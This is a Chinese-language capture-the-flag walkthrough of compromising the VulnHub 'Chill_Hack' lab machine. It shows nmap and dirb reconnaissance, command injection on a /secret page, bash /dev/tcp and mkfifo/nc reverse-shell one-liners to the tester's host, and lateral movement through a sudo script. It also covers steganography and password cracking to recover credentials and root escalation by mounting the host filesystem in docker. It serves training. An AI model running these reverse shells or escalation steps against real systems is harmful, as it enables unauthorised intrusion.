基于vulnhub的Chill_Hack靶机的渗透测试
一.实验准备
kali,Chill_Hack靶机
kali要选择NAT方式连接
二.信息收集
1.收集靶机IP
查看kali的IP,如下
192.168.88.136 |
用nmap扫描存活的主机
nmap -sn 192.168.88.0/24 |
判断靶机IP,根据ping测试的ttl值判断目标靶机IP为192.168.88.139
确定目标靶机IP是192.168.101.139
2.根据获得的靶机IP,继续扫描靶机相关的服务开放状态
使用nmap扫描相应的端口及服务的开发情况
nmap -sC -sV 192.168.88.139 -p- --min-rate=2000 -n -vv |
查询结果如下,发现21(FTP),80(HTTP),22(SSH)端口处于开放状态
发现FTP服务允许匿名登录(Anonymous FTP login allowed);SSH,HTTP服务启动
3.根据开放的端口及服务查询相应服务的漏洞
利用FTP服务漏洞
根据nmap查询结果发现21端口允许匿名用户登录,存在匿名登录漏洞
匿名登录ftp,下载并查看note.txt
ftp 192.168.101.129 |
并未能提供有效信息
利用HTTP
80端口是Apache httpd 2.4.29 可能存在换行解析漏洞
打开网站判断是静态网站还是动态网站,发现是个静态网站,没有可利用的后台数据库,没有漏洞点
继续对网站的目录进行探测(使用使用目录扫描工具dirb)
dirb http://192.168.88.139 |
发现secret目录,可能存在命令执行漏洞
浏览器输入网址,发现好像可以运行命令
http://192.168.88.139/secret/ |
输入ls查看当前目录下文件,发现ls命令被过滤,不允许使用
输入pwd查看当前位置
三.边界突破
1.漏洞利用
使用NetCat开启监听
nc -lvp 6666 |
bash -i >& /dev/tcp/192.168.88.136/6666 0>&1 #失败 |
ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.88.136 6666>/tmp/f#成功 |
反弹shell成功
使用id命令查看用户的ID,以及所属群组的ID,可以看出www-data用户权限较低
进入根目录并查看
查看相关目录,仍未获得有用的信息
查看home目录,发现有三个用户(anurodh,apaar,aurick)
尝试进入各用户目录,发现能进入apaar目录
查看apaar目录发现local.txt(无法查看),
2.横向扩展
使用sudo -l查看所能执行的高权限指令和文件
sudo -l |
发现.helpline.sh
查看/home/apaar/.helpline.sh
cat /home/apaar/.helpline.sh |
发现该脚本允许输入,尝试输入一些命令查看local.txt
运行.helpline.sh
./.helpline.sh |
输入命令
cat local.txt |
无法查看
尝试使用apaar用户查看
sudo -u 用户名 ./.helpline.sh |
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww} |
最终拿到用户flags
继续尝试寻找root的flags
继续寻找可疑信息,发现/var/www/files下有可疑文件
查看hacker.php
cat hacker.php |
发现img标签中指向一个可以图片,使用nc下载可疑图片
nc -lvnp 5555 > hacker.jpg #kali新开shell |
打开图片如下
考虑有没有可能使用隐写术隐藏关键内容
隐写术实例
copy /b 2.jpg+1.zip output.jpg |
下载steghide工具
apt-get install steghide |
查看图片中是否隐藏有内容
steghide info hacker.jpg |
发现其中嵌入了一个名为backup.zip的压缩包
使用steghide获取该压缩包
steghide extract -sf hacker.jpg |
查看backup.zip中的内容
zip -sf backup.zip |
尝试解压该压缩包
unzip backup.zip |
发现需要密码
使用John爆破
先将backup.zip转换成backup.john |
发现密码为pass1word
解压backup.zip
unzip backup.zip |
获得source_code.php文件
查看source_code.php,发现可疑密码和用户名
可疑密码:IWQwbnRLbjB3bVlwQHNzdzByZA== |
到Base64解密网站解密
密码为
!d0ntKn0wmYp@ssw0rd |
使用ssh登录,先尝试可疑用户Anurodh
ssh anurodh@192.168.88.139 #成功,注意名字是小写a |
登录成功
使用id命令查看用户的ID,以及所属群组的ID,发现其中有docker
尝试利用docker漏洞获取root权限(将外面的文件映射到docker容器中,docker中是以root运行的)
查看docker镜像
docker images |
将根目录挂载到/mnt并放入alpine镜像
docker run -it -v /:/mnt alpine |
查看id
查看/root没有发现信息
继续查看相关目录,发现/mnt下有一个root目录
进入/mnt/root并查看,发现有个proof.txt
查看proof.txt
成功得到root的flag
{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg} |